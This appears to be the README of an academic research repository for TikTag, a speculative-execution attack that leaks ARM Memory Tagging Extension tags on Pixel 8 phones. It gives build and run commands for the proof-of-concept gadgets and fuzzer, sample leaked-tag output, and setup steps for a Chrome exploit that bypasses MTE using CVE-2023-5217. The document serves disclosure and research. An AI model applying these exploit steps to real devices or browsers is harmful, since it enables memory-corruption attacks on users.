Home

Awesome

TikTag

Introduction

ARM Memory Tagging Extension (MTE) is an ARMv8.5-A feature designed to mitigate memory corruption attacks. TikTag gadget breaks MTE by leaking MTE tags through speculative execution. When TikTag gadgets are speculatively executed, cache state differs depending on whether the gadgets trigger a tag check fault or not. Therefore, by observing the cache states, it is possible to leak the tag check results without raising any exceptions. The gadgets were effective on both Pixel 8 and Pixel 8 pro, which are the first officially MTE-enabled hardware.

Setup

Build environment: x86_64 GNU/Linux

Set GCC_TOOLCHAIN to the path of ARM GCC toolchin, e.g., gcc-arm-10.3-2021.07-x86_64-aarch64-none-linux-gnu.

Run ./build.sh to build the gadgets and the fuzzer:

Gadget

We referenced Project Zero's MTE implementation test for the environment setup (e.g., code generation, time measurement, cache flush).

# On the host
$ ./build.sh

# On the Pixel device
$ cd /data/local/tmp
$ ./poc <test_cpu> <iterations> <MTE mode (0:sync, 1:async)> <gadget>

Affected Cores/Gadgets

Results

Assume the poc file is built with TIMER=0 (virtual timer). The result shows for each guess of the tag value (Tag), the hit rate (HIT) and access latency (LAT) of the affected cache line. The tag value with the highest hit rate is the correct tag value.

Testing Gadget 1 on Pixel 8:

$ ./poc 8 1000 0 1
Generate G1
Tag     HIT     LAT
0       0.81    1.48
1       0.84    1.33
2       0.84    1.34
3       0.85    1.33
4       0.85    1.35
5       0.85    1.32
6       0.85    1.33
7       0.85    1.34
8       0.99    0.82
9       0.84    1.36
10      0.84    1.37
11      0.83    1.38
12      0.84    1.35
13      0.84    1.35
14      0.83    1.37
15      0.84    1.36
Leaked  Tag: 8
Correct Tag: 8
...

Testing Gadget 2 on Pixel 8:

$ ./poc 4 1000 0 2
Generate G2
Tag     HIT     LAT
0       0.00    5.38
1       0.00    5.17
2       0.00    5.19
3       0.00    5.17
4       0.00    5.20
5       0.00    5.17
6       0.00    5.17
7       0.00    5.15
8       0.00    5.30
9       0.00    5.23
10      0.00    5.16
11      0.97    1.03
12      0.00    5.17
13      0.00    5.18
14      0.00    5.16
15      0.00    5.15
Leaked  Tag: 11
Correct Tag: 11
...

Fuzzer

We referenced Revizor and armshaker for the fuzzer implementation. We leveraged libopcodes to mutate and verify the AArch64 assembly gadgets.

# On the host
$ ./build.sh

# On the Pixel device
$ cd /data/local/tmp/fuzzer
$ ./run-fuzzer.sh

Real-World Exploits

Chrome V8 JavaScript Engine

We crafted a TikTag-v2 gadget in JavaScript that can leak the tag of the entire renderer process memory space. Utilizing the leaked tag, this PoC exploits the recent heap overflow vulnerability CVE-2023-5217 in the libvpx library to bypass the MTE protection and trigger the memory corruption.

The exploit was effective on Chromium version 125.0.6422.231, with several modifications to backport CVE-2023-5217 in libvpx and get renderer object address by browser-exploit/chromium.patch.

Set up the PoC:

$ pushd browser-exploit
$ npm install express serve-static yargs
$ node server.js

On the Pixel device:

  1. Enable MTE on the Chromium browser (see https://googleprojectzero.blogspot.com/2023/11/first-handset-with-mte-on-market.html).
  2. Open the browser and visit https://<host>:8000.

On the host:

  1. Check the debugging log with ./chrome_public_apk logcat -d <Device id> and chrome://inspect.

Paper

TikTag: Breaking ARM's Memory Tagging Extension with Speculative Execution (under review)

Reference